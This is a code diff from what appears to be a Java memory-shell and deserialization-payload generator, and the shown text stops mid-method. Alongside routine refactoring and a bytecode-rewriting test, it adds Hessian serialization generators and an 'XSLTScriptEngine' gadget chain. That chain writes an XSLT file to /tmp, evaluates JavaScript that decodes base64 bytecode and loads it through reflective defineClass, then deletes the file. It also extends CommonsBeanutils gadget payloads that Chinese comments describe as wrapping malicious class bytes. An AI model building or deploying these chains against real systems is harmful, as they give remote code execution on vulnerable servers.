for (ShellTool shellTool : supportedShellTools) {
|
for (ShellTool shellTool : supportedShellTools) {
|
||||||
List<String> supportedShellTypes = shell.getSupportedShellTypes(shellTool);
|
Set<String> supportedShellTypes = shell.getSupportedShellTypes(shellTool);
|
||||||
if (supportedShellTypes.isEmpty()) {
|
if (supportedShellTypes.isEmpty()) {
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
import com.reajason.javaweb.GeneratorMain;
|
import com.reajason.javaweb.memshell.MemShellGenerator;
|
||||||
import com.reajason.javaweb.boot.dto.GenerateRequest;
|
import com.reajason.javaweb.boot.dto.GenerateRequest;
|
||||||
import com.reajason.javaweb.boot.dto.GenerateResponse;
|
import com.reajason.javaweb.boot.dto.GenerateResponse;
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
@@ -28,7 +28,7 @@ public class GeneratorController {
|
|||||||
ShellConfig shellConfig = request.getShellConfig();
|
ShellConfig shellConfig = request.getShellConfig();
|
||||||
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
|
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
|
||||||
InjectorConfig injectorConfig = request.getInjectorConfig();
|
InjectorConfig injectorConfig = request.getInjectorConfig();
|
||||||
GenerateResult generateResult = GeneratorMain.generate(shellConfig, injectorConfig, shellToolConfig);
|
GenerateResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
|
||||||
Packer packer = request.getPacker().getInstance();
|
Packer packer = request.getPacker().getInstance();
|
||||||
if (packer instanceof JarPacker) {
|
if (packer instanceof JarPacker) {
|
||||||
return ResponseEntity.ok(new GenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult))));
|
return ResponseEntity.ok(new GenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult))));
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
package com.reajason.javaweb.boot.dto;
|
package com.reajason.javaweb.boot.dto;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.*;
|
import com.reajason.javaweb.memshell.config.*;
|
||||||
import com.reajason.javaweb.memshell.packer.Packers;
|
import com.reajason.javaweb.memshell.Packers;
|
||||||
import lombok.Data;
|
import lombok.Data;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
|
|||||||
@@ -0,0 +1,53 @@
|
|||||||
|
package com.reajason.javaweb.buddy;
|
||||||
|
|
||||||
|
import net.bytebuddy.asm.AsmVisitorWrapper;
|
||||||
|
import net.bytebuddy.description.method.MethodDescription;
|
||||||
|
import net.bytebuddy.description.type.TypeDescription;
|
||||||
|
import net.bytebuddy.implementation.Implementation;
|
||||||
|
import net.bytebuddy.jar.asm.MethodVisitor;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import net.bytebuddy.pool.TypePool;
|
||||||
|
import org.jetbrains.annotations.NotNull;
|
||||||
|
|
||||||
|
import java.util.Set;
|
||||||
|
import java.util.stream.Collectors;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
public class MethodCallReplaceVisitorWrapper implements AsmVisitorWrapper.ForDeclaredMethods.MethodVisitorWrapper {
|
||||||
|
|
||||||
|
private final String targetClassName;
|
||||||
|
private final Set<String> replaceClassNames;
|
||||||
|
|
||||||
|
public MethodCallReplaceVisitorWrapper(String targetClassName, Set<String> replaceClassNames) {
|
||||||
|
this.targetClassName = targetClassName.replace(".", "/");
|
||||||
|
this.replaceClassNames = replaceClassNames.stream().map(s -> s.replace(".", "/")).collect(Collectors.toSet());
|
||||||
|
}
|
||||||
|
|
||||||
|
@NotNull
|
||||||
|
@Override
|
||||||
|
public MethodVisitor wrap(@NotNull TypeDescription instrumentedType,
|
||||||
|
@NotNull MethodDescription instrumentedMethod,
|
||||||
|
@NotNull MethodVisitor methodVisitor,
|
||||||
|
@NotNull Implementation.Context implementationContext,
|
||||||
|
@NotNull TypePool typePool,
|
||||||
|
int writerFlags,
|
||||||
|
int readerFlags) {
|
||||||
|
return new MethodVisitor(Opcodes.ASM9, methodVisitor) {
|
||||||
|
@Override
|
||||||
|
public void visitMethodInsn(int opcode, String owner, String name, String descriptor, boolean isInterface) {
|
||||||
|
if (opcode == Opcodes.INVOKESTATIC
|
||||||
|
&& replaceClassNames.contains(owner)) {
|
||||||
|
super.visitMethodInsn(Opcodes.INVOKESTATIC,
|
||||||
|
targetClassName,
|
||||||
|
name,
|
||||||
|
descriptor,
|
||||||
|
false);
|
||||||
|
} else {
|
||||||
|
super.visitMethodInsn(opcode, owner, name, descriptor, isInterface);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,76 +0,0 @@
|
|||||||
package com.reajason.javaweb.buddy;
|
|
||||||
|
|
||||||
import net.bytebuddy.ByteBuddy;
|
|
||||||
import net.bytebuddy.asm.AsmVisitorWrapper;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
|
||||||
import net.bytebuddy.jar.asm.MethodVisitor;
|
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
|
||||||
|
|
||||||
import java.nio.file.Files;
|
|
||||||
import java.nio.file.Paths;
|
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
|
||||||
|
|
||||||
public class MethodSubstitutionExample {
|
|
||||||
|
|
||||||
|
|
||||||
public static class MethodReplacementMethodVisitor extends MethodVisitor {
|
|
||||||
private final String targetClassName;
|
|
||||||
|
|
||||||
public MethodReplacementMethodVisitor(MethodVisitor mv, String targetClassName) {
|
|
||||||
super(Opcodes.ASM9, mv);
|
|
||||||
this.targetClassName = targetClassName;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public void visitMethodInsn(int opcode, String owner, String name, String descriptor, boolean isInterface) {
|
|
||||||
if (opcode == Opcodes.INVOKESTATIC
|
|
||||||
&& owner.endsWith("ExternalClass")
|
|
||||||
&& name.equals("replacementMethod")) {
|
|
||||||
super.visitMethodInsn(Opcodes.INVOKESTATIC,
|
|
||||||
targetClassName.replace(".", "/"),
|
|
||||||
name,
|
|
||||||
descriptor,
|
|
||||||
false);
|
|
||||||
} else {
|
|
||||||
super.visitMethodInsn(opcode, owner, name, descriptor, isInterface);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public static class ExternalClass {
|
|
||||||
public static String externalMethod(String input) {
|
|
||||||
return "External: " + input;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static String replacementMethod(String input) {
|
|
||||||
return "Replaced: " + input;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public static class TargetClass {
|
|
||||||
public String targetMethod(String input) {
|
|
||||||
System.out.println("targetMethod");
|
|
||||||
return ExternalClass.replacementMethod(input);
|
|
||||||
}
|
|
||||||
|
|
||||||
public static String replacementMethod(String input) {
|
|
||||||
return "Replaced: " + input;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void main(String[] args) throws Exception {
|
|
||||||
String oldClassName = TargetClass.class.getName();
|
|
||||||
String newClassName = oldClassName + "Redefinition";
|
|
||||||
|
|
||||||
DynamicType.Unloaded<TargetClass> dynamicType = new ByteBuddy()
|
|
||||||
.redefine(TargetClass.class)
|
|
||||||
.name(newClassName)
|
|
||||||
.visit(new AsmVisitorWrapper.ForDeclaredMethods().method(named("targetMethod"), (typeDescription, methodDescription, methodVisitor, context, typePool, i, i1) -> new MethodReplacementMethodVisitor(methodVisitor, newClassName)))
|
|
||||||
.make();
|
|
||||||
|
|
||||||
Files.write(Paths.get("xixi.class"), dynamicType.getBytes());
|
|
||||||
Class<?> redefinedClass = dynamicType.load(MethodSubstitutionExample.class.getClassLoader())
|
|
||||||
.getLoaded();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
+62
@@ -0,0 +1,62 @@
|
|||||||
|
package com.reajason.javaweb.buddy;
|
||||||
|
|
||||||
|
import net.bytebuddy.ByteBuddy;
|
||||||
|
import net.bytebuddy.asm.AsmVisitorWrapper;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
|
import java.util.Collections;
|
||||||
|
|
||||||
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/2/22
|
||||||
|
*/
|
||||||
|
class MethodCallReplaceVisitorWrapperTest {
|
||||||
|
|
||||||
|
public static class ExternalClass {
|
||||||
|
public static String externalMethod(String input) {
|
||||||
|
return "External: " + input;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String replacementMethod(String input) {
|
||||||
|
return "Replaced: " + input;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static class TargetClass {
|
||||||
|
public String targetMethod(String input) {
|
||||||
|
System.out.println("targetMethod");
|
||||||
|
return ExternalClass.replacementMethod(input);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String replacementMethod(String input) {
|
||||||
|
return "Replaced: " + input;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void test() throws Exception {
|
||||||
|
String newClassName = TargetClass.class.getName() + "Redefinition";
|
||||||
|
DynamicType.Unloaded<TargetClass> dynamicType = new ByteBuddy()
|
||||||
|
.redefine(TargetClass.class)
|
||||||
|
.name(newClassName)
|
||||||
|
.visit(new AsmVisitorWrapper
|
||||||
|
.ForDeclaredMethods()
|
||||||
|
.method(named("targetMethod"),
|
||||||
|
new MethodCallReplaceVisitorWrapper(
|
||||||
|
newClassName,
|
||||||
|
Collections.singleton(ExternalClass.class.getName())
|
||||||
|
)
|
||||||
|
)
|
||||||
|
)
|
||||||
|
.make();
|
||||||
|
Class<?> redefinedClass = dynamicType.load(MethodCallReplaceVisitorWrapperTest.class.getClassLoader())
|
||||||
|
.getLoaded();
|
||||||
|
Object object = redefinedClass.newInstance();
|
||||||
|
Object result = object.getClass().getMethod("targetMethod", String.class).invoke(object, "xixi");
|
||||||
|
assertEquals("Replaced: xixi", result);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -8,40 +8,19 @@ version = rootProject.version
|
|||||||
dependencies {
|
dependencies {
|
||||||
implementation 'net.bytebuddy:byte-buddy'
|
implementation 'net.bytebuddy:byte-buddy'
|
||||||
|
|
||||||
implementation 'commons-beanutils:commons-beanutils:1.9.3'
|
implementation 'com.caucho:hessian:4.0.66'
|
||||||
|
implementation 'commons-beanutils:commons-beanutils:1.9.4'
|
||||||
|
|
||||||
testImplementation platform('org.junit:junit-bom')
|
testImplementation platform('org.junit:junit-bom')
|
||||||
testImplementation 'org.junit.jupiter:junit-jupiter'
|
testImplementation 'org.junit.jupiter:junit-jupiter'
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
def runtimeJvmArgs = [
|
|
||||||
'--add-opens=java.base/java.lang=ALL-UNNAMED',
|
|
||||||
'--add-opens=java.base/java.util=ALL-UNNAMED',
|
|
||||||
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
|
|
||||||
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
|
|
||||||
]
|
|
||||||
|
|
||||||
tasks.withType(JavaCompile).configureEach {
|
|
||||||
options.compilerArgs += [
|
|
||||||
'--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
|
|
||||||
'--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
|
|
||||||
]
|
|
||||||
}
|
|
||||||
|
|
||||||
tasks.withType(Test).configureEach {
|
|
||||||
jvmArgs += runtimeJvmArgs
|
|
||||||
}
|
|
||||||
|
|
||||||
// For running the application
|
|
||||||
tasks.withType(JavaExec).configureEach {
|
|
||||||
jvmArgs += runtimeJvmArgs
|
|
||||||
}
|
|
||||||
|
|
||||||
java {
|
java {
|
||||||
toolchain {
|
toolchain {
|
||||||
languageVersion = JavaLanguageVersion.of(11)
|
languageVersion = JavaLanguageVersion.of(8)
|
||||||
}
|
}
|
||||||
|
sourceCompatibility = JavaVersion.VERSION_1_8
|
||||||
|
targetCompatibility = JavaVersion.VERSION_1_8
|
||||||
}
|
}
|
||||||
|
|
||||||
test {
|
test {
|
||||||
|
|||||||
+24
@@ -0,0 +1,24 @@
|
|||||||
|
package com.reajason.javaweb.deserialize;
|
||||||
|
|
||||||
|
import com.caucho.hessian.io.Hessian2Output;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/2/19
|
||||||
|
*/
|
||||||
|
public class Hessian2DeserializeGenerator {
|
||||||
|
@SneakyThrows
|
||||||
|
public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
|
||||||
|
PayloadType payloadType = config.getPayloadType();
|
||||||
|
Object obj = payloadType.getPayload().generate(bytes, className);
|
||||||
|
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
||||||
|
Hessian2Output hessian2Output = new Hessian2Output(bos);
|
||||||
|
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
|
||||||
|
hessian2Output.writeObject(obj);
|
||||||
|
hessian2Output.close();
|
||||||
|
return bos.toByteArray();
|
||||||
|
}
|
||||||
|
}
|
||||||
+24
@@ -0,0 +1,24 @@
|
|||||||
|
package com.reajason.javaweb.deserialize;
|
||||||
|
|
||||||
|
import com.caucho.hessian.io.HessianOutput;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/2/19
|
||||||
|
*/
|
||||||
|
public class HessianDeserializeGenerator {
|
||||||
|
@SneakyThrows
|
||||||
|
public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
|
||||||
|
PayloadType payloadType = config.getPayloadType();
|
||||||
|
Object obj = payloadType.getPayload().generate(bytes, className);
|
||||||
|
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
||||||
|
HessianOutput hessianOutput = new HessianOutput(bos);
|
||||||
|
hessianOutput.getSerializerFactory().setAllowNonSerializable(true);
|
||||||
|
hessianOutput.writeObject(obj);
|
||||||
|
hessianOutput.close();
|
||||||
|
return bos.toByteArray();
|
||||||
|
}
|
||||||
|
}
|
||||||
+1
-1
@@ -9,7 +9,7 @@ import java.io.ObjectOutputStream;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/13
|
* @since 2024/12/13
|
||||||
*/
|
*/
|
||||||
public class DeserializeGenerator {
|
public class JavaDeserializeGenerator {
|
||||||
|
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public static byte[] generate(byte[] bytes, DeserializeConfig config) {
|
public static byte[] generate(byte[] bytes, DeserializeConfig config) {
|
||||||
@@ -11,5 +11,18 @@ public interface Payload {
|
|||||||
* @param bytes 恶意类字节流
|
* @param bytes 恶意类字节流
|
||||||
* @return 序列化对象
|
* @return 序列化对象
|
||||||
*/
|
*/
|
||||||
Object generate(byte[] bytes);
|
default Object generate(byte[] bytes) {
|
||||||
|
throw new UnsupportedOperationException();
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 将恶意类字节流封装成序列化对象
|
||||||
|
*
|
||||||
|
* @param bytes 恶意类字节流
|
||||||
|
* @param className 恶意类名
|
||||||
|
* @return 序列化对象
|
||||||
|
*/
|
||||||
|
default Object generate(byte[] bytes, String className) {
|
||||||
|
throw new UnsupportedOperationException();
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,6 +1,10 @@
|
|||||||
package com.reajason.javaweb.deserialize;
|
package com.reajason.javaweb.deserialize;
|
||||||
|
|
||||||
import com.reajason.javaweb.deserialize.payload.*;
|
import com.reajason.javaweb.deserialize.payload.hessian.XSLTScriptEngine;
|
||||||
|
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils110;
|
||||||
|
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils16;
|
||||||
|
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils18;
|
||||||
|
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils19;
|
||||||
import lombok.Getter;
|
import lombok.Getter;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -17,6 +21,10 @@ public enum PayloadType {
|
|||||||
CommonsBeanutils19(new CommonsBeanutils19()),
|
CommonsBeanutils19(new CommonsBeanutils19()),
|
||||||
CommonsBeanutils110(new CommonsBeanutils110()),
|
CommonsBeanutils110(new CommonsBeanutils110()),
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Hessian XSLT write
|
||||||
|
*/
|
||||||
|
XSLTScriptEngine(new XSLTScriptEngine())
|
||||||
;
|
;
|
||||||
|
|
||||||
private final Payload payload;
|
private final Payload payload;
|
||||||
|
|||||||
@@ -13,27 +13,11 @@ import net.bytebuddy.dynamic.DynamicType;
|
|||||||
* @since 2024/12/9
|
* @since 2024/12/9
|
||||||
*/
|
*/
|
||||||
public class TemplateUtils {
|
public class TemplateUtils {
|
||||||
public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
|
|
||||||
public static Class TPL_CLASS = TemplatesImpl.class;
|
|
||||||
public static Class ABST_TRANSLET = AbstractTranslet.class;
|
|
||||||
public static Class TRANS_FACTORY = TransformerFactoryImpl.class;
|
|
||||||
|
|
||||||
static {
|
|
||||||
try {
|
|
||||||
// 兼容不同 JDK 版本
|
|
||||||
if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) {
|
|
||||||
TPL_CLASS = Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl");
|
|
||||||
ABST_TRANSLET = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet");
|
|
||||||
TRANS_FACTORY = Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl");
|
|
||||||
}
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public static TemplatesImpl createTemplatesImpl(byte[] bytes) {
|
public static TemplatesImpl createTemplatesImpl(byte[] bytes) {
|
||||||
TemplatesImpl templates = new TemplatesImpl();
|
TemplatesImpl templates = new TemplatesImpl();
|
||||||
byte[] fooBytes = new byte[0];
|
byte[] fooBytes;
|
||||||
try (DynamicType.Unloaded<Object> make = new ByteBuddy()
|
try (DynamicType.Unloaded<Object> make = new ByteBuddy()
|
||||||
.subclass(Object.class).name("foo")
|
.subclass(Object.class).name("foo")
|
||||||
.make()) {
|
.make()) {
|
||||||
|
|||||||
+51
@@ -0,0 +1,51 @@
|
|||||||
|
package com.reajason.javaweb.deserialize.payload.hessian;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.deserialize.Payload;
|
||||||
|
import com.reajason.javaweb.deserialize.utils.HessianUtils;
|
||||||
|
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
import java.util.Arrays;
|
||||||
|
import java.util.Base64;
|
||||||
|
import java.util.HashMap;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/2/19
|
||||||
|
*/
|
||||||
|
public class XSLTScriptEngine implements Payload {
|
||||||
|
@Override
|
||||||
|
@SneakyThrows
|
||||||
|
public Object generate(byte[] bytes, String className) {
|
||||||
|
String base64Str = Base64.getEncoder().encodeToString(bytes);
|
||||||
|
|
||||||
|
String tmpPath = "/tmp/CACHE_XML";
|
||||||
|
|
||||||
|
String xml = "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\n" +
|
||||||
|
" xmlns:se=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngineManager\"\n" +
|
||||||
|
" xmlns:js=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngine\">\n" +
|
||||||
|
" <xsl:template match=\"/\">\n" +
|
||||||
|
" <xsl:variable name=\"js\" select=\""var classLoader = java.lang.Thread.currentThread().getContextClassLoader();var className = '" + className + "';var base64Str = '" + base64Str + "';try { classLoader.loadClass(className).newInstance();} catch (e) { var clsString = classLoader.loadClass('java.lang.String'); var bytecode; try { var clsBase64 = classLoader.loadClass('java.util.Base64'); var clsDecoder = classLoader.loadClass('java.util.Base64$Decoder'); var decoder = clsBase64.getMethod('getDecoder').invoke(base64Clz); bytecode = clsDecoder.getMethod('decode', clsString).invoke(decoder, base64Str); } catch (ee) { try { var datatypeConverterClz = classLoader.loadClass('javax.xml.bind.DatatypeConverter'); bytecode = datatypeConverterClz.getMethod('parseBase64Binary', clsString).invoke(datatypeConverterClz, base64Str); } catch (eee) { var clazz1 = classLoader.loadClass('sun.misc.BASE64Decoder'); bytecode = clazz1.newInstance().decodeBuffer(base64Str); } } var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader'); var clsByteArray = (new java.lang.String('a').getBytes().getClass()); var clsInt = java.lang.Integer.TYPE; var defineClass = clsClassLoader.getDeclaredMethod('defineClass', [clsByteArray, clsInt, clsInt]); defineClass.setAccessible(true); var clazz = defineClass.invoke(classLoader, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length)); clazz.newInstance();}new java.io.File('" + tmpPath + "').delete()"\" />\n" +
|
||||||
|
" <xsl:variable name=\"result\" select=\"js:eval(se:getEngineByName(se:new(),'js'), $js)\"/>\n" +
|
||||||
|
" <xsl:value-of select=\"$result\"/>\n" +
|
||||||
|
" </xsl:template>\n" +
|
||||||
|
"</xsl:stylesheet>\n";
|
||||||
|
|
||||||
|
UIDefaults.ProxyLazyValue writeValue = new UIDefaults.ProxyLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{tmpPath, xml.getBytes()});
|
||||||
|
Reflections.setFieldValue(writeValue, "acc", null);
|
||||||
|
UIDefaults.ProxyLazyValue processValue = new UIDefaults.ProxyLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "file://" + tmpPath}});
|
||||||
|
Reflections.setFieldValue(processValue, "acc", null);
|
||||||
|
|
||||||
|
HashMap<Object, Object> map1 = new HashMap<>(1);
|
||||||
|
HashMap<Object, Object> map2 = new HashMap<>(1);
|
||||||
|
HashMap<Object, Object> map3 = new HashMap<>(1);
|
||||||
|
HashMap<Object, Object> map4 = new HashMap<>(1);
|
||||||
|
map1.put("a", new UIDefaults(new Object[]{"abc", writeValue}));
|
||||||
|
map2.put("a", new UIDefaults(new Object[]{"abc", writeValue}));
|
||||||
|
map3.put("b", new UIDefaults(new Object[]{"ccc", processValue}));
|
||||||
|
map4.put("b", new UIDefaults(new Object[]{"ccc", processValue}));
|
||||||
|
|
||||||
|
return HessianUtils.toMap(Arrays.asList(map1, map2, map3, map4));
|
||||||
|
}
|
||||||
|
}
|
||||||
+1
-3
@@ -1,4 +1,4 @@
|
|||||||
package com.reajason.javaweb.deserialize.payload;
|
package com.reajason.javaweb.deserialize.payload.java;
|
||||||
|
|
||||||
import com.reajason.javaweb.deserialize.Payload;
|
import com.reajason.javaweb.deserialize.Payload;
|
||||||
import com.reajason.javaweb.deserialize.TemplateUtils;
|
import com.reajason.javaweb.deserialize.TemplateUtils;
|
||||||
@@ -16,8 +16,6 @@ import java.net.URLClassLoader;
|
|||||||
import java.util.Comparator;
|
import java.util.Comparator;
|
||||||
import java.util.PriorityQueue;
|
import java.util.PriorityQueue;
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/3
|
* @since 2024/12/3
|
||||||
+1
-1
@@ -1,4 +1,4 @@
|
|||||||
package com.reajason.javaweb.deserialize.payload;
|
package com.reajason.javaweb.deserialize.payload.java;
|
||||||
|
|
||||||
import com.reajason.javaweb.deserialize.Payload;
|
import com.reajason.javaweb.deserialize.Payload;
|
||||||
import com.reajason.javaweb.deserialize.TemplateUtils;
|
import com.reajason.javaweb.deserialize.TemplateUtils;
|
||||||
+1
-1
@@ -1,4 +1,4 @@
|
|||||||
package com.reajason.javaweb.deserialize.payload;
|
package com.reajason.javaweb.deserialize.payload.java;
|
||||||
|
|
||||||
import com.reajason.javaweb.deserialize.Payload;
|
import com.reajason.javaweb.deserialize.Payload;
|
||||||
import com.reajason.javaweb.deserialize.TemplateUtils;
|
import com.reajason.javaweb.deserialize.TemplateUtils;
|
||||||
+1
-1
@@ -1,4 +1,4 @@
|
|||||||
package com.reajason.javaweb.deserialize.payload;
|
package com.reajason.javaweb.deserialize.payload.java;
|
||||||
|
|
||||||
import com.reajason.javaweb.deserialize.Payload;
|
import com.reajason.javaweb.deserialize.Payload;
|
||||||
import com.reajason.javaweb.deserialize.TemplateUtils;
|
import com.reajason.javaweb.deserialize.TemplateUtils;
|
||||||
@@ -0,0 +1,32 @@
|
|||||||
|
package com.reajason.javaweb.deserialize.utils;
|
||||||
|
|
||||||
|
import java.lang.reflect.Array;
|
||||||
|
import java.lang.reflect.Constructor;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/2/19
|
||||||
|
*/
|
||||||
|
public class HessianUtils {
|
||||||
|
|
||||||
|
public static HashMap<?, ?> toMap(List<?> objs) throws Exception {
|
||||||
|
HashMap<?, ?> s = new HashMap<>(8);
|
||||||
|
Reflections.setFieldValue(s, "size", objs.size());
|
||||||
|
Class<?> nodeC;
|
||||||
|
try {
|
||||||
|
nodeC = Class.forName("java.util.HashMap$Node");
|
||||||
|
} catch (ClassNotFoundException var6) {
|
||||||
|
nodeC = Class.forName("java.util.HashMap$Entry");
|
||||||
|
}
|
||||||
|
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(Integer.TYPE, Object.class, Object.class, nodeC);
|
||||||
|
nodeCons.setAccessible(true);
|
||||||
|
Object tbl = Array.newInstance(nodeC, objs.size());
|
||||||
|
for (int i = 0; i < objs.size(); i++) {
|
||||||
|
Array.set(tbl, i, nodeCons.newInstance(0, objs.get(i), objs.get(i), null));
|
||||||
|
}
|
||||||
|
Reflections.setFieldValue(s, "table", tbl);
|
||||||
|
return s;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,7 +1,11 @@
|
|||||||
package com.reajason.javaweb.deserialize.utils;
|
package com.reajason.javaweb.deserialize.utils;
|
||||||
|
|
||||||
import com.reajason.javaweb.deserialize.payload.CommonsBeanutils19;
|
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils19;
|
||||||
|
import sun.reflect.ReflectionFactory;
|
||||||
|
import sun.security.pkcs.PKCS9Attributes;
|
||||||
|
|
||||||
|
import java.lang.reflect.AccessibleObject;
|
||||||
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -19,7 +23,7 @@ public class Reflections {
|
|||||||
java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
|
java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
|
||||||
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
|
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
|
||||||
java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
|
java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
|
||||||
getAndSetObjectM.invoke(unsafe, CommonsBeanutils19.class, offset, module);
|
getAndSetObjectM.invoke(unsafe, Reflections.class, offset, module);
|
||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -47,4 +51,18 @@ public class Reflections {
|
|||||||
final Field field = getField(obj.getClass(), fieldName);
|
final Field field = getField(obj.getClass(), fieldName);
|
||||||
return field.get(obj);
|
return field.get(obj);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static Object createWithoutConstructor(String classname) throws Exception {
|
||||||
|
return createWithoutConstructor(Class.forName(classname));
|
||||||
|
}
|
||||||
|
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws Exception {
|
||||||
|
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
|
||||||
|
}
|
||||||
|
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws Exception {
|
||||||
|
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
|
||||||
|
objCons.setAccessible(true);
|
||||||
|
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
|
||||||
|
